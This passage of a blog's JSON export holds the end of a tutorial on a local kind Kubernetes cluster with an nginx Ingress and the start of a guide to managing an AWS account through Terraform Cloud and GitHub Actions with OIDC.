data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"args\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{},\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"headers\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Accept\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eUsing Ingress\u003c/h1\u003e\n\u003cp\u003eNow to use the ingress rather than port forwarding we create one additional\nresource, the \u003ccode\u003eIngress\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enetworking.k8s.io/v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIngress\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003emetadata\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin-ingress\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eannotations\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003enginx.ingress.kubernetes.io/rewrite-target\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/$2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003espec\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eingressClassName\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enginx\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003erules\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ehttp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epaths\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epath\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/httpbin(/|$)(.*)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epathType\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eImplementationSpecific\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ebackend\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eservice\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e              \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003enumber\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e8000\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThere are a few critical options here.  The first is the annotation to rewrite\nthe path so it doesn't include \u003ccode\u003e/httpbin/\u003c/code\u003e when it sends the request to the\nservice and then the \u003ccode\u003epath\u003c/code\u003e and \u003ccode\u003epathType\u003c/code\u003e so it knows which paths to send to\nwhich service.\u003c/p\u003e\n\u003cp\u003eNow you should be able to hit your local host and get routed to your\nkubernetes service:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elocalhost/httpbin/get\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSuccess!  Now you have a multinode kubernetes cluster that has an ingress\ncontroller!\u003c/p\u003e\n\u003ch1\u003eNext Steps\u003c/h1\u003e\n\u003cp\u003eThe cluster can be used like a production cluster now for local\ndevelopment!  You could setup Grafana, ArgoCD, etc. to run\ninside the cluster.\u003c/p\u003e","category":"Kubernetes","date":"2023-07-20T19:00:00-05:00","tags":["Linux","Kubernetes","DevOps","SRE"],"title":"Running a kubernetes cluster locally with kind"},{"id":["2023","aws_from_scratch_apply_before_merge"],"path":"2023/aws_from_scratch_apply_before_merge","contentHtml":"\u003cp\u003eFollowing this article will get you setup with an AWS Root account that can be\nmanaged through through Terraform Cloud with OIDC and github actions. As a best practice you\nshould not keep long-lived access keys in your CI/CD pipelines when\ndeploying to AWS, instead you should use OIDC (OpenID Connect) to securely\ndeploy to AWS when using Terraform Cloud or Github Actions.\u003c/p\u003e\n\u003ciframe width=\"854\" height=\"480\" src=\"https://www.youtube.com/embed/3oZd1m8_KIo\" title=\"AWS From Scratch - Preparing your account to be managed by IaC via Terraform and Github Actions\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture;web-share\" allowfullscreen\u003e\u003c/iframe\u003e\n\u003ch1\u003eTL;DR\u003c/h1\u003e\n\u003cp\u003eDownload all the terraform from the blog post here:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sontek/aws-apply-before-merge\"\u003ehttps://github.com/sontek/aws-apply-before-merge\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sontek/aws-terraform-github-actions\"\u003ehttps://github.com/sontek/aws-terraform-github-actions\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003eHow does OIDC work\u003c/h1\u003e\n\u003cp\u003eOIDC enables us to request a short-lived access token directly from AWS. We\njust have to create trust relationship that controls which workflows are able\nto request the access tokens.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eNo need to duplicate AWS credentials as long-lived GitHub secrets.\u003c/li\u003e\n\u003cli\u003eSince we are using a short-lived access token that is only valid for a single\njob there is no reason to worry about rotating secrets.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe following diagram gives an overview of how we can use Terraform Cloud's\nOIDC provider to integrate with AWS:\u003c/p\u003e\n\u003cdiv class=\"remark-mermaid remark-mermaid-default\"\u003e\u003csvg aria-roledescription=\"flowchart-v2\" role=\"graphics-document document\" viewBox=\"-8 -8 827.9453125 321.5\" style=\"max-width: 827.945px; background-color: transparent;\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" xmlns=\"http://www.w3.org/2000/svg\" width=\"100%\" id=\"my-svg\"\u003e\u003cstyle\u003e#my-svg{font-family:\"trebuchet ms\",verdana,arial,sans-serif;font-size:16px;fill:#333;}#my-svg .error-icon{fill:#552222;}#my-svg .error-text{fill:#552222;stroke:#552222;}#my-svg .edge-thickness-normal{stroke-width:2px;}#my-svg .edge-thickness-thick{stroke-width:3.5px;}#my-svg .edge-pattern-solid{stroke-dasharray:0;}#my-svg .edge-pattern-dashed{stroke-dasharray:3;}#my-svg .edge-pattern-dotted{stroke-dasharray:2;}#my-svg .marker{fill:#333333;stroke:#333333;}#my-svg .marker.cross{stroke:#333333;}#my-svg svg{font-family:\"trebuchet ms\",verdana,arial,sans-serif;font-size:16px;}#my-svg .label{font-family:\"trebuchet ms\",verdana,arial,sans-serif;color:#333;}#my-svg .cluster-label text{fill:#333;}#my-svg .cluster-label span,#my-svg p{color:#333;}#my-svg .label text,#my-svg span,#my-svg p{fill:#333;color:#333;}#my-svg .node rect,#my-svg .node circle,#my-svg .node ellipse,#my-svg .node polygon,#my-svg .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#my-svg .flowchart-label text{text-anchor:middle;}#my-svg .node .label{text-align:center;}#my-svg .node.clickable{cursor:pointer;}#my-svg .arrowheadPath{fill:#333333;}#my-svg .edgePath .path{stroke:#333333;stroke-width:2.0px;}#my-svg .flowchart-link{stroke:#333333;fill:none;}#my-svg .edgeLabel{background-color:#e8e8e8;text-align:center;}#my-svg .edgeLabel rect{opacity:0.5;background-color:#e8e8e8;fill:#e8e8e8;}#my-svg .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#my-svg .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#my-svg .cluster text{fill:#333;}#my-svg .cluster span,#my-svg p{color:#333;}#my-svg div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:\"trebuchet ms\",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#my-svg .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#my-svg :root{--mermaid-font-family:\"trebuchet ms\",verdana,arial,sans-serif;}\u003c/style\u003e\u003cg\u003e\u003cmarker orient=\"auto\" markerHeight=\"12\" markerWidth=\"12\" markerUnits=\"userSpaceOnUse\" refY=\"5\" refX=\"6\" viewBox=\"0 0 10 10\" class=\"marker flowchart\" id=\"my-svg_flowchart-pointEnd\"\u003e\u003cpath style=\"stroke-width: 1; stroke-dasharray: 1, 0;\" class=\"arrowMarkerPath\" d=\"M 0 0 L 10 5 L 0 10 z\"\u003e\u003c/path\u003e\u003c/marker\u003e\u003cmarker orient=\"auto\" markerHeight=\"12\" markerWidth=\"12\" markerUnits=\"userSpaceOnUse\" refY=\"5\" refX=\"4.5\" viewBox=\"0 0 10 10\" class=\"marker flowchart\" id=\"my-svg_flowchart-pointStart\"\u003e\u003cpath style=\"stroke-width: 1; stroke-dasharray: 1, 0;\" class=\"arrowMarkerPath\" d=\"M 0 5 L 10 10 L 10 0 z\"\u003e\u003c/path\u003e\u003c/marker\u003e\u003cmarker orient=\"auto\" markerHeight=\"11\" markerWidth=\"11\" markerUnits=\"userSpaceOnUse\" refY=\"5\" refX=\"11\" viewBox=\"0 0 10 10\" class=\"marker flowchart\" id=\"my-svg_flowchart-circleEnd\"\u003e\u003ccircle style=\"stroke-width: 1; stroke-dasharray: 1, 0;\" class=\"arrowMarkerPath\" r=\"5\" cy=\"5\" cx=\"5\"\u003e\u003c/circle\u003e\u003c/marker\u003e\u003cmarker orient=\"auto\" markerHeight=\"11\" markerWidth=\"11\" markerUnits=\"userSpaceOnUse\" refY=\"5\" refX=\"-1\" viewBox=\"0 0 10 10\" class=\"marker flowchart\" id=\"my-svg_flowchart-circleStart\"\u003e\u003ccircle style=\"stroke-width: 1; stroke-dasharray: 1, 0;\" class=\"arrowMarkerPath\" r=\"5\" cy=\"5\" cx=\"5\"\u003e\u003c/circle\u003e\u003c/marker\u003e\u003cmarker orient=\"auto\" markerHeight=\"11\" markerWidth=\"11\" markerUnits=\"userSpaceOnUse\" refY=\"5.2\" refX=\"12\" viewBox=\"0 0 11 11\" class=\"marker cross flowchart\" id=\"my-svg_flowchart-crossEnd\"\u003e\u003cpath style=\"stroke-width: 2; stroke-dasharray: 1, 0;\" class=\"arrowMarkerPath\" d=\"M 1,1 l 9,9 M 10,1 l -9,9\"\u003e\u003c/path\u003e\u003c/marker\u003e\u003cmarker orient=\"auto\" markerHeight=\"11\" markerWidth=\"11\" markerUnits=\"userSpaceOnUse\" refY=\"5.2\" refX=\"-1\" viewBox=\"0 0 11 11\" class=\"marker cross flowchart\" id=\"my-svg_flowchart-crossStart\"\u003e\u003cpath style=\"stroke-width: 2; stroke-dasharray: 1, 0;\" class=\"arrowMarkerPath\" d=\"M 1,1 l 9,9 M 10,1 l -9,9\"\u003e\u003c/path\u003e\u003c/marker\u003e\u003cg class=\"root\"\u003e\u003cg class=\"clusters\"\u003e\u003c/g\u003e\u003cg class=\"edgePaths\"\u003e\u003cpath marker-end=\"url(#my-svg_flowchart-pointEnd)\" style=\"fill:none;\" class=\"edge-thickness-normal edge-pattern-solid flowchart-link LS-AWS LE-Token\" id=\"L-AWS-Token-0\" d=\"M179.515625,135.25L175.34895833333334,135.25C171.18229166666666,135.25,162.84895833333334,135.25,147.307188259572,146.03798213279688C131.76541818581066,156.8259642655938,109.01521137162133,178.40192853118756,97.64010796452668,189.18991066398442L86.26500455743201,199.97789279678133\"\u003e\u003c/path\u003e\u003cpath marker-end=\"url(#my-svg_flowchart-pointEnd)\" style=\"fill:none;\" class=\"edge-thickness-normal edge-pattern-solid flowchart-link LS-Token LE-Terraform\" id=\"L-Token-Terraform-0\" d=\"M82.41940849853157,237.125L94.43544458210964,248.52083333333334C106.45148066568771,259.9166666666667,130.48355283284386,282.7083333333333,158.28800037475526,294.1041666666667C186.09244791666666,305.5,217.66927083333334,305.5,249.24609375,305.5C280.8229166666667,305.5,312.3997395833333,305.5,347.5989583333333,305.5C382.7981770833333,305.5,421.6197916666667,305.5,460.44140625,305.5C499.2630208333333,305.5,538.0846354166666,305.5,567.7774037759685,298.7553356134401C597.4701721352704,292.0106712268801,618.034094270541,278.52134245376027,628.3160553381762,271.77667806720035L638.5980164058114,265.03201368064043\"\u003e\u003c/path\u003e\u003cpath marker-end=\"url(#my-svg_flowchart-pointEnd)\" style=\"fill:none;\" class=\"edge-thickness-normal edge-pattern-solid flowchart-link LS-Terraform LE-JWT\" id=\"L-Terraform-JWT-0\" d=\"M643.0296381699707,178.625L632.0090734749756,171.39583333333334C620.9885087799804,164.16666666666666,598.9473793899903,149.70833333333334,584.6434813616619,142.47916666666666C570.3395833333333,135.25,563.7729166666667,135.25,560.4895833333334,135.25L557.20625,135.25\"\u003e\u003c/path\u003e\u003cpath marker-end=\"url(#my-svg_flowchart-pointEnd)\" style=\"fill:none;\" class=\"edge-thickness-normal edge-pattern-solid flowchart-link LS-JWT LE-AWS\" id=\"L-JWT-AWS-0\" d=\"M368.9765625,135.25L364.8098958333333,135.25C360.6432291666667,135.25,352.3098958333333,135.25,344.8598958333334,135.25C337.40989583333334,135.25,330.8432291666667,135.25,327.5598958333333,135.25L324.2765625,135.25\"\u003e\u003c/path\u003e\u003c/g\u003e\u003cg class=\"edgeLabels\"\u003e\u003cg class=\"edgeLabel\"\u003e\u003cg transform=\"translate(0, 0)\" class=\"label\"\u003e\u003cforeignObject height=\"0\" width=\"0\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"edgeLabel\"\u003e\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003cg class=\"edgeLabel\"\u003e\u003cg transform=\"translate(0, 0)\" class=\"label\"\u003e\u003cforeignObject height=\"0\" width=\"0\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"edgeLabel\"\u003e\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003cg class=\"edgeLabel\"\u003e\u003cg transform=\"translate(0, 0)\" class=\"label\"\u003e\u003cforeignObject height=\"0\" width=\"0\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"edgeLabel\"\u003e\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003cg class=\"edgeLabel\"\u003e\u003cg transform=\"translate(0, 0)\" class=\"label\"\u003e\u003cforeignObject height=\"0\" width=\"0\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"edgeLabel\"\u003e\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003c/g\u003e\u003cg class=\"nodes\"\u003e\u003cg transform=\"translate(607.33984375, 170.625)\" class=\"root\"\u003e\u003cg class=\"clusters\"\u003e\u003cg id=\"Terraform\" class=\"cluster default flowchart-label\"\u003e\u003crect height=\"83.5\" width=\"209.5390625\" y=\"8\" x=\"-4.93359375\" ry=\"0\" rx=\"0\" style=\"\"\u003e\u003c/rect\u003e\u003cg transform=\"translate(-4.93359375, 8)\" class=\"cluster-label\"\u003e\u003cforeignObject height=\"18.5\" width=\"209.5390625\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"nodeLabel\"\u003eTerraform Cloud Workflow #2\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003c/g\u003e\u003cg class=\"edgePaths\"\u003e\u003c/g\u003e\u003cg class=\"edgeLabels\"\u003e\u003c/g\u003e\u003cg class=\"nodes\"\u003e\u003cg transform=\"translate(99.8359375, 49.75)\" id=\"flowchart-OIDCProvider-3\" class=\"node default default flowchart-label\"\u003e\u003crect height=\"33.5\" width=\"113.671875\" y=\"-16.75\" x=\"-56.8359375\" ry=\"0\" rx=\"0\" style=\"\" class=\"basic label-container\"\u003e\u003c/rect\u003e\u003cg transform=\"translate(-49.3359375, -9.25)\" style=\"\" class=\"label\"\u003e\u003crect\u003e\u003c/rect\u003e\u003cforeignObject height=\"18.5\" width=\"98.671875\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"nodeLabel\"\u003eOIDC Provider\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003c/g\u003e\u003c/g\u003e\u003cg transform=\"translate(172.015625, -8)\" class=\"root\"\u003e\u003cg class=\"clusters\"\u003e\u003cg id=\"AWS\" class=\"cluster default flowchart-label\"\u003e\u003crect height=\"270.5\" width=\"139.4609375\" y=\"8\" x=\"8\" ry=\"0\" rx=\"0\" style=\"\"\u003e\u003c/rect\u003e\u003cg transform=\"translate(52.25, 8)\" class=\"cluster-label\"\u003e\u003cforeignObject height=\"18.5\" width=\"50.9609375\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"nodeLabel\"\u003eAWS #1\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003c/g\u003e\u003cg class=\"edgePaths\"\u003e\u003c/g\u003e\u003cg class=\"edgeLabels\"\u003e\u003c/g\u003e\u003cg class=\"nodes\"\u003e\u003cg transform=\"translate(77.73046875, 59.75)\" id=\"flowchart-OIDC-0\" class=\"node default default flowchart-label\"\u003e\u003crect height=\"33.5\" width=\"89.4609375\" y=\"-16.75\" x=\"-44.73046875\" ry=\"0\" rx=\"0\" style=\"\" class=\"basic label-container\"\u003e\u003c/rect\u003e\u003cg transform=\"translate(-37.23046875, -9.25)\" style=\"\" class=\"label\"\u003e\u003crect\u003e\u003c/rect\u003e\u003cforeignObject height=\"18.5\" width=\"74.4609375\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"nodeLabel\"\u003eOIDC Trust\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003cg transform=\"translate(77.73046875, 143.25)\" id=\"flowchart-Roles-1\" class=\"node default default flowchart-label\"\u003e\u003crect height=\"33.5\" width=\"52.171875\" y=\"-16.75\" x=\"-26.0859375\" ry=\"0\" rx=\"0\" style=\"\" class=\"basic label-container\"\u003e\u003c/rect\u003e\u003cg transform=\"translate(-18.5859375, -9.25)\" style=\"\" class=\"label\"\u003e\u003crect\u003e\u003c/rect\u003e\u003cforeignObject height=\"18.5\" width=\"37.171875\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"nodeLabel\"\u003eRoles\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003cg transform=\"translate(77.73046875, 226.75)\" id=\"flowchart-Resources-2\" class=\"node default default flowchart-label\"\u003e\u003crect height=\"33.5\" width=\"85.5390625\" y=\"-16.75\" x=\"-42.76953125\" ry=\"0\" rx=\"0\" style=\"\" class=\"basic label-container\"\u003e\u003c/rect\u003e\u003cg transform=\"translate(-35.26953125, -9.25)\" style=\"\" class=\"label\"\u003e\u003crect\u003e\u003c/rect\u003e\u003cforeignObject height=\"18.5\" width=\"70.5390625\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"nodeLabel\"\u003eResources\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003c/g\u003e\u003c/g\u003e\u003cg transform=\"translate(64.7578125, 220.375)\" id=\"flowchart-Token-5\" class=\"node default default flowchart-label\"\u003e\u003crect height=\"33.5\" width=\"129.515625\" y=\"-16.75\" x=\"-64.7578125\" ry=\"0\" rx=\"0\" style=\"\" class=\"basic label-container\"\u003e\u003c/rect\u003e\u003cg transform=\"translate(-57.2578125, -9.25)\" style=\"\" class=\"label\"\u003e\u003crect\u003e\u003c/rect\u003e\u003cforeignObject height=\"18.5\" width=\"114.515625\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"nodeLabel\"\u003eAccess Token #4\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003cg transform=\"translate(460.44140625, 135.25)\" id=\"flowchart-JWT-8\" class=\"node default default flowchart-label\"\u003e\u003crect height=\"33.5\" width=\"182.9296875\" y=\"-16.75\" x=\"-91.46484375\" ry=\"0\" rx=\"0\" style=\"\" class=\"basic label-container\"\u003e\u003c/rect\u003e\u003cg transform=\"translate(-83.96484375, -9.25)\" style=\"\" class=\"label\"\u003e\u003crect\u003e\u003c/rect\u003e\u003cforeignObject height=\"18.5\" width=\"167.9296875\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"nodeLabel\"\u003eJWT \u0026#x26; Cloud Role ID #3\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003c/g\u003e\u003c/g\u003e\u003c/g\u003e\u003c/svg\u003e\u003c/div\u003e\n\u003col\u003e\n\u003cli\u003eIn AWS, create an OIDC trust between a role and our terraform cloud\nworkflow(s) that need access to the cloud.\u003c/li\u003e\n\u003cli\u003eEvery time a job runs, TFC's OIDC Provider auto-generates an OIDC token.\nThis token contains multiple claims to establish a security-hardened and\nverifiable identity about the specific workflow that is trying to authenticate.\u003c/li\u003e\n\u003cli\u003eRequest this token from TFC's OIDC provider, and present it to AWS\u003c/li\u003e\n\u003cli\u003eOnce AWS successfully validates the claims presented in the token, it then\nprovides a short-lived cloud access token that is available only for the duration\nof the job.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch1\u003eWhat does this post accomplish\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eSetup a root AWS account that is managed througuh terraform\u003c/li\u003e\n\u003cli\u003eSetup OIDC authentication with Terraform Cloud so it can talk to AWS\u003c/li\u003e\n\u003cli\u003eSetup Github Actions authentication with Terraform Cloud so we can run plan\nand apply through the CI/CD pipeline.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003eSetup AWS Access\u003c/h1\u003e\n\u003cp\u003eIt is very bad practice to use the root account for much of anything but for\nbootstrapping the account it is necessary, so the first step is to get your\n\u003ccode\u003eAWS_ACCESS_KEY_ID\u003c/code\u003e and \u003ccode\u003eAWS_SECRET_ACCESS_KEY\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eTo do this click your account and choose \u003ccode\u003eSecurity Credentials\u003c/code\u003e in the top\nright:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_root_account/security_credentials.png\" height=\"200\"\u003e\n\u003c/center\u003e\n\u003cp\u003eThen choose \u003ccode\u003eCreate Access key\u003c/code\u003e:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_root_account/create_access_token.png\" width=\"200\"\u003e\n\u003c/center\u003e\n\u003cp\u003eYou need to set these environment variables in your shell so that your local\nshell has access to AWS. After you set them you can verify you set them correct\nby running:\u003c/p\u003e\n\u003cdiv 